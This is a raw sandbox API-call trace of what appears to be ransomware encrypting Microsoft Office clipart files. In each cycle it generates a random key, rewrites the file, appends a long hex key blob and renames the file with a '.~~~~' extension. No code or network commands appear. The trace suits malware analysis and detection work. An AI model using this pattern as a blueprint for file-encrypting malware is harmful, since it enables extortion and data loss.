	[0112.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b288 | out: hHeap=0x300000) returned 1
	[0112.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c9d88
	[0112.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.014] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831f60
	[0112.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9d88 | out: hHeap=0x300000) returned 1
	[0112.014] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.014] GetLastError () returned 0x0
	[0112.014] GetLastError () returned 0x0
	[0112.014] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.014] GetLastError () returned 0x0
	[0112.015] GetLastError () returned 0x0
	[0112.017] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe6f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.017] WriteFile (in: hFile=0x144, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1908, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x1908, lpOverlapped=0x0) returned 1
	[0112.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.019] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.019] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.019] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.019] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.019] CloseHandle (hObject=0x144) returned 1
	[0112.020] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c9d88
	[0112.020] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00898_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00898_.wmf.~~~~")) returned 1
	[0112.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9d88 | out: hHeap=0x300000) returned 1
	[0112.030] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0112.030] GetLastError () returned 0x0
	[0112.031] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.328] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.328] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.328] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23231857189) returned 1
	[0112.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xac8ee530, dwHighDateTime=0x1d60e1e)) 
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fdf0
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fdf0 | out: hHeap=0x300000) returned 1
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831970
	[0112.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.329] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.330] GetLastError () returned 0x0
	[0112.330] GetLastError () returned 0x0
	[0112.330] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.330] GetLastError () returned 0x0
	[0112.330] GetLastError () returned 0x0
	[0112.338] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffcf00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.338] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x3100, lpOverlapped=0x0) returned 1
	[0112.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0112.340] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.341] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.341] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.341] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.341] CloseHandle (hObject=0x144) returned 1
	[0112.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.342] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00934_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00934_.wmf.~~~~")) returned 1
	[0112.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.616] GetLastError () returned 0x0
	[0112.616] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.618] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.618] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.618] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23260818645) returned 1
	[0112.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacb9bdf0, dwHighDateTime=0x1d60e1e)) 
	[0112.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28302c0
	[0112.618] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28302c0 | out: hHeap=0x300000) returned 1
	[0112.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.619] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832090
	[0112.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.619] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.619] GetLastError () returned 0x0
	[0112.620] GetLastError () returned 0x0
	[0112.620] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.620] GetLastError () returned 0x0
	[0112.620] GetLastError () returned 0x0
	[0112.638] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff740, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.638] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x8c0, lpOverlapped=0x0) returned 1
	[0112.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.639] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.640] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.640] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.640] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.640] CloseHandle (hObject=0x11c) returned 1
	[0112.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.640] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.~~~~")) returned 1
	[0112.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.642] GetLastError () returned 0x0
	[0112.642] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.644] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.644] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.644] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23263455331) returned 1
	[0112.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacbe80b0, dwHighDateTime=0x1d60e1e)) 
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830330
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830330 | out: hHeap=0x300000) returned 1
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.645] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832da0
	[0112.645] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.646] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.646] GetLastError () returned 0x0
	[0112.646] GetLastError () returned 0x0
	[0112.646] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.646] GetLastError () returned 0x0
	[0112.646] GetLastError () returned 0x0
	[0112.650] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe2d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.651] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1d2a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0x1d2a, lpOverlapped=0x0) returned 1
	[0112.652] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.652] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.652] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.652] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.652] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.652] CloseHandle (hObject=0x11c) returned 1
	[0112.653] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.653] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.~~~~")) returned 1
	[0112.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.654] GetLastError () returned 0x0
	[0112.654] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.655] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.656] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.656] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23264749801) returned 1
	[0112.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacc0e210, dwHighDateTime=0x1d60e1e)) 
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2830368
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2830368 | out: hHeap=0x300000) returned 1
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0112.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.658] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832ed0
	[0112.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.658] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0112.658] GetLastError () returned 0x0
	[0112.659] GetLastError () returned 0x0
	[0112.659] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0112.659] GetLastError () returned 0x0
	[0112.659] GetLastError () returned 0x0
	[0112.754] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff390, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.765] WriteFile (in: hFile=0x11c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x24dfec0*=0xc70, lpOverlapped=0x0) returned 1
	[0112.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0112.767] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.767] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.767] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.767] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.767] CloseHandle (hObject=0x11c) returned 1
	[0112.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0112.767] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.~~~~")) returned 1
	[0112.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0112.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0112.769] GetLastError () returned 0x0
	[0112.769] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0112.771] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0112.771] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0112.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0112.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0112.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0112.771] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=23276133828) returned 1
	[0112.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xacd18bb0, dwHighDateTime=0x1d60e1e)) 
	[0112.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
